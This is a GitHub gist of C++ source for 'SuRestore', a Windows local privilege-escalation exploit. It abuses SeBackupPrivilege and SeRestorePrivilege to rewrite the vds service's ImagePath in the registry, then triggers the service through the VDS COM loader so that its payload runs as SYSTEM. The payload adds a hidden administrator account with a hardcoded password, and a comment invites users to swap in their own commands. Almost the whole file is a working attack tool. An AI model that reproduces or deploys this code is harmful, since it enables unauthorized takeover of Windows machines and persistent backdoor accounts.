Skip to content

Instantly share code, notes, and snippets.

@ThunderGunExpress
Last active June 21, 2020 10:19
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save ThunderGunExpress/5bd759bcc2dc6bac1ee22d9c62fd6c9a to your computer and use it in GitHub Desktop.
Save ThunderGunExpress/5bd759bcc2dc6bac1ee22d9c62fd6c9a to your computer and use it in GitHub Desktop.
//https://decoder.cloud/2018/02/12/the-power-of-backup-operatos/
//https://github.com/decoder-it/BadBackupOperator/blob/master/SuBackup/SuBackup/SuBackup.cpp
//https://docs.microsoft.com/en-us/windows/win32/services/writing-a-servicemain-function
//https://docs.microsoft.com/en-us/windows/win32/vds/loading-vds
//Replace system command with your code. If DewIt() does not run, check if the vds service is running, it should be on-demand.
#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include "initguid.h"
#include "vds.h"
#pragma comment( lib, "ole32.lib" )
#define _SafeRelease(x) {if (NULL != x) { x->Release(); x = NULL; } }
#pragma warning(disable:4996)
#define SVCNAME TEXT("vds")
SERVICE_STATUS gSvcStatus;
SERVICE_STATUS_HANDLE gSvcStatusHandle;
HANDLE ghSvcStopEvent = NULL;
VOID WINAPI SvcMain(int argc, wchar_t* argv[]);
VOID WINAPI SvcCtrlHandler(DWORD dwCtrl);
BOOL SetPrivilege(HANDLE hToken, LPCWSTR lpszPrivilege, BOOL bEnablePrivilege);
BOOL RegistryMod(HKEY hKey, wchar_t *wChangeValue);
BOOL RegistryQuery(HKEY hKey, wchar_t **wQueryValue);
BOOL COMWork();
BOOL DewIt();
BOOL IsWow64();
BOOL DewIt()
{
system("net user testuser Password123! /add && net localgroup administrators testuser /add");
return TRUE;
}
BOOL COMWork()
{
HRESULT hResult;
IVdsService *pService = NULL;
IVdsServiceLoader *pLoader = NULL;
hResult = CoInitialize(NULL);
if (SUCCEEDED(hResult))
{
hResult = CoCreateInstance(CLSID_VdsLoader, NULL, CLSCTX_LOCAL_SERVER, IID_IVdsServiceLoader, (void **)&pLoader);
if (SUCCEEDED(hResult))
pLoader->LoadService(NULL, &pService);
_SafeRelease(pLoader);
if (SUCCEEDED(hResult))
{
wprintf(L" > VDS Service Loaded");
return TRUE;
}
}
return FALSE;
}
BOOL RegistryMod(HKEY hKey, wchar_t *wChangeValue)
{
DWORD dwType = REG_EXPAND_SZ;
if (RegSetKeyValueW(hKey, NULL, L"ImagePath", dwType, (LPBYTE)wChangeValue, wcslen(wChangeValue) * sizeof(wchar_t)) != ERROR_SUCCESS)
{
wprintf(L" > Error: RegSetKeyValueW(1) - %u\n", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL RegistryQuery(HKEY hKey, wchar_t **wQueryValue)
{
DWORD dwType = REG_EXPAND_SZ;
DWORD dwQuerysize;
if (RegQueryValueExW(hKey, L"ImagePath", NULL, &dwType, NULL, &dwQuerysize) != ERROR_SUCCESS)
{
wprintf(L" > Error: RegQueryValueExW - %u\n", GetLastError());
return FALSE;
}
*wQueryValue = (wchar_t*)LocalAlloc(LPTR, sizeof(wchar_t) * dwQuerysize);
if (wQueryValue == NULL)
{
wprintf(L" > Error: LocalAlloc(wQueryValue) - %u\n", GetLastError());
return FALSE;
}
if (RegQueryValueExW(hKey, L"ImagePath", NULL, &dwType, (LPBYTE)wQueryValue, &dwQuerysize) != ERROR_SUCCESS)
{
wprintf(L" > Error: RegQueryValueExW - %u\n", GetLastError());
return FALSE;
}
return TRUE;
}
//Funciton copied from - https://github.com/decoder-it/BadBackupOperator/blob/master/SuBackup/SuBackup/SuBackup.cpp
BOOL SetPrivilege(HANDLE hToken, LPCWSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValueW(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
wprintf(L" > Error: LookupPrivilegeValueW - %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
//
// Enable the privilege or disable all privileges.
//
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
wprintf(L" > Error: AdjustTokenPrivileges - %u\n", GetLastError());
return FALSE;
}
else
{
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
wprintf(L" > Error: The token does not have the specified privilege (%lS).\n", lpszPrivilege);
return FALSE;
}
else
{
wprintf(L" > AdjustTokenPrivileges (%lS): OK\n", lpszPrivilege);
}
}
return TRUE;
}
//http://www.cplusplus.com/forum/windows/120301/
BOOL IsWow64()
{
BOOL bIsWow64 = FALSE;
typedef BOOL(APIENTRY *LPFN_ISWOW64PROCESS)
(HANDLE, PBOOL);
LPFN_ISWOW64PROCESS fnIsWow64Process;
HMODULE module = GetModuleHandleW(L"kernel32");
const char funcName[] = "IsWow64Process";
fnIsWow64Process = (LPFN_ISWOW64PROCESS)
GetProcAddress(module, funcName);
if (NULL != fnIsWow64Process)
{
if (!fnIsWow64Process(GetCurrentProcess(),
&bIsWow64))
wprintf(L" > IsWow64 Error\n");
}
return bIsWow64 != FALSE;
}
VOID WINAPI SvcMain(int argc, wchar_t* argv[])
{
gSvcStatusHandle = RegisterServiceCtrlHandler(SVCNAME, SvcCtrlHandler);
if (!gSvcStatusHandle)
return;
gSvcStatus.dwServiceType = SERVICE_WIN32;
gSvcStatus.dwCurrentState = SERVICE_START_PENDING;
gSvcStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
gSvcStatus.dwWin32ExitCode = 0;
gSvcStatus.dwCheckPoint = 0;
gSvcStatus.dwCheckPoint = 0;
gSvcStatus.dwServiceSpecificExitCode = 0;
DewIt();
ExitProcess(0);
}
VOID WINAPI SvcCtrlHandler(DWORD dwCtrl)
{
switch (dwCtrl)
{
case SERVICE_CONTROL_STOP:
gSvcStatus.dwWin32ExitCode = 0;
gSvcStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(gSvcStatusHandle, &gSvcStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
gSvcStatus.dwWin32ExitCode = 0;
gSvcStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(gSvcStatusHandle, &gSvcStatus);
return;
default:
break;
}
}
int wmain(int argc, wchar_t * argv[])
{
wprintf(L"[*] Start [*]\n");
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{ (LPWSTR)SVCNAME, (LPSERVICE_MAIN_FUNCTIONW)SvcMain },
{ NULL, NULL }
};
StartServiceCtrlDispatcherW(DispatchTable);
if (IsWow64())
{
wprintf(L"64-bit application only, re-compile as 64-bit. 32-bit -> 64-bit registry modifications not supported yet.\n");
return 1;
}
if (argc > 1)
{
if (wcscmp(_wcslwr(argv[1]), L"--run") != 0)
{
wprintf(L" > Provide --run as a command line argument to kick it off.\n");
wprintf(L" > Example: SuRestore.exe --run\n");
return 1;
}
else
{
wprintf(L"\n[*] Privilege [*]\n");
HANDLE hProcess = GetCurrentProcess();
HANDLE hToken;
HANDLE hThread;
HKEY hKey;
wchar_t wTargetKey[] = L"SYSTEM\\CurrentControlSet\\Services\\vds";
wchar_t wFilePath[MAX_PATH];
wchar_t *wOriginalPath = NULL;
wchar_t *wFinalPath = NULL;
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
if (!SetPrivilege(hToken, SE_BACKUP_NAME, TRUE))
{
wprintf(L" > Error: SetPrivilege SeBackupPrivilege.\n");
CloseHandle(hToken);
return 1;
}
if (!SetPrivilege(hToken, SE_RESTORE_NAME, TRUE))
{
wprintf(L" > Error: SetPrivilege SeRestorePrivilege.\n");
CloseHandle(hToken);
return 1;
}
wprintf(L"\n[*] Registry [*]\n");
wprintf(L" > Querying registry.\n");
if (!GetModuleFileNameW(NULL, wFilePath, MAX_PATH))
{
wprintf(L" > Error: GetModuleFileNameW - %u", GetLastError());
CloseHandle(hToken);
return 1;
}
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, wTargetKey, REG_OPTION_BACKUP_RESTORE, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS)
{
wprintf(L" > Error: RegOpenKeyExW - %u\n", GetLastError());
CloseHandle(hToken);
return 1;
}
if (!RegistryQuery(hKey, &wOriginalPath))
{
wprintf(L" > Error: RegistryQuery\n");
CloseHandle(hToken);
RegCloseKey(hKey);
return 1;
}
wprintf(L" > ImagePath value - %s\n", &wOriginalPath);
wprintf(L" > Modifying ImagePath value.\n");
if (!RegistryMod(hKey, wFilePath))
{
wprintf(L" > Error: RegistryMod\n");
CloseHandle(hToken);
RegCloseKey(hKey);
LocalFree(&wOriginalPath);
return 1;
}
wprintf(L" > ImagePath value - %s\n", wFilePath);
wprintf(L"\n[*] COMWork [*]\n");
wprintf(L" > Creating a thread to load the VDS service loader. Will take about 5 seconds.\n");
Sleep(2000);
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)COMWork, NULL, 0, NULL);
WaitForSingleObject(hThread, 5000);
wprintf(L"\n[*] Clean Up [*]\n");
wprintf(L" > Reverting ImagePath to original value.\n");
if (!RegistryMod(hKey, (wchar_t*)&wOriginalPath))
{
wprintf(L" > Error: RegOpenKeyExW - %u\n", GetLastError());
wprintf(L" > VDS ImagePath is currently pointing at modified value. Manual clean up required.\n");
CloseHandle(hToken);
CloseHandle(hThread);
RegCloseKey(hKey);
LocalFree(&wOriginalPath);
return 1;
}
if (!RegistryQuery(hKey, &wFinalPath))
{
wprintf(L" > Error: RegistryQuery\n");
CloseHandle(hToken);
CloseHandle(hThread);
RegCloseKey(hKey);
LocalFree(&wOriginalPath);
return 1;
}
wprintf(L" > ImagePath value - %s\n", &wFinalPath);
CloseHandle(hToken);
CloseHandle(hThread);
RegCloseKey(hKey);
}
}
else
{
wprintf(L" > Provide --run as a command line argument to kick it off.\n");
wprintf(L" > Example: SuRestore.exe --run\n");
return 1;
}
wprintf(L"\n[*] End [*]\n");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment